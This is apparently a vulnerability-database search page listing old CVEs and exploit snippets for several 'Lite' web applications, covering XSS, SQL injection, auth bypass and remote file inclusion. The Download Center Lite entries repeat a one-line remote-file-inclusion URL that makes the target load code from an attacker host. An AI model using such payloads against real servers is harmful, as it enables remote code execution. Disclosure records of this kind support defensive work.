9754 matches found
CVE-2004-1845: Undefined Security Weakness
Multiple cross-site scripting XSS vulnerabilities in News Manager Lite 2.5 allow remote attackers to inject arbitrary web script or HTML via the 1 email parameter to commentadd.asp, 2 search parameter to search.asp, or 3 n parameter to categorynewsheadline.asp...
CVE-2005-0302
SQL injection vulnerability in default.asp in BackOffice Lite 6.0 and 6.01 allows remote attackers to execute arbitrary SQL commands via the referer field in the HTTP header...
CVE-2005-0216
Cross-site scripting XSS vulnerability in formmail.php in Woltlab Burning Board Lite 1.0.0, 1.0.1e, and possibly other versions, allows remote attackers to inject arbitrary web script and HTML via the userid parameter...
CVE-2005-0303
Multiple cross-site scripting XSS vulnerabilities in 1 comersussupportError.asp or 2 comersusbackofficelitesupportError.asp in BackOffice Lite 6.0 and 6.01 allow remote attackers to inject arbitrary web script or HTML via the error parameter...
CVE-2005-0301
comersusbackofficeinstall10.asp in BackOffice Lite 6.0 and 6.01 allows remote attackers to bypass authentication and gain privileges via a direct request to the program...
Download Center Lite (DCL) <= 1.5 Remote File Inclusion
Exploit for unknown platform in category web applications ======================================================= Download Center Lite DCL = 1.5 Remote File Inclusion ======================================================= Example: if registerglobals=on and allowurlfopen=on:...
Download Center Lite (DCL) <= 1.5 Remote File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...
Download Center Lite (DCL) 1.5 - Remote File Inclusion
Download Center Lite DCL 1.5 - Remote File Inclusion Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...
Download Center Lite (DCL) 1.5 - Remote File Inclusion
Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...
CVE-2005-0680
The CVE-2005-0680 issue affects Download Center Lite 1.6 and is a PHP remote file inclusion in the file download_center_lite.inc.php. The root cause is that the script_root parameter can be manipulated to reference a URL containing PHP code on a remote server, allowing an attacker to execute arbi...
CVE-2005-0680
PHP remote file inclusion vulnerability in downloadcenterlite.inc.php for Download Center Lite 1.6 allows remote attackers to execute arbitrary PHP code by modifying the scriptroot parameter to reference a URL on a remote web server that contains the code...
CVE-2005-0680
PHP remote file inclusion vulnerability in downloadcenterlite.inc.php for Download Center Lite 1.6 allows remote attackers to execute arbitrary PHP code by modifying the scriptroot parameter to reference a URL on a remote web server that contains the code...
dcl15.txt
-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: Download Center Lite DCL Version: Location: Poland Email: groszynskif gmail com HP: http://shell.homeunix.org -- == -- == -- == -- == -- == -- == -- == -- == -- == --...
CVE-2005-0680: Undefined Security Weakness
PHP remote file inclusion vulnerability in downloadcenterlite.inc.php for Download Center Lite 1.6 allows remote attackers to execute arbitrary PHP code by modifying the scriptroot parameter to reference a URL on a remote web server that contains the code...
Download Center Lite (DCL) - Arbitrary File Inclusion (VXSfx)
-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: Download Center Lite DCL Version: = 1.5 free/commercial Homepage: http://www.stadtaus.com/ Author: Filip Groszynski VXSfx Date: 4 March 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Vulnerable code in...
Stadtaus.Com Download Center Lite 1.5 - PHP Remote File Inclusion
Stadtaus.Com Download Center Lite 1.5 - PHP Remote File Inclusion source: https://www.securityfocus.com/bid/12726/info Download Center Lite is reportedly affected by an arbitrary remote PHP file include vulnerability. This issue is due to the application failing to properly sanitize user supplied...
Stadtaus.Com Download Center Lite 1.5 - PHP Remote File Inclusion
source: https://www.securityfocus.com/bid/12726/info Download Center Lite is reportedly affected by an arbitrary remote PHP file include vulnerability. This issue is due to the application failing to properly sanitize user supplied input. This vulnerability affects Download Center Lite version 1....
CVE-2005-0302
CVE-2005-0302 describes an SQL injection vulnerability in the BackOffice Lite web application (version 6.0 and 6.01) where an attacker can inject arbitrary SQL commands through the Referer header in requests to default.asp. This live vulnerability could allow unauthorized data access or modificat...
CVE-2005-0302
SQL injection vulnerability in default.asp in BackOffice Lite 6.0 and 6.01 allows remote attackers to execute arbitrary SQL commands via the referer field in the HTTP header...
CVE-2005-0303
Multiple cross-site scripting XSS vulnerabilities in 1 comersussupportError.asp or 2 comersusbackofficelitesupportError.asp in BackOffice Lite 6.0 and 6.01 allow remote attackers to inject arbitrary web script or HTML via the error parameter...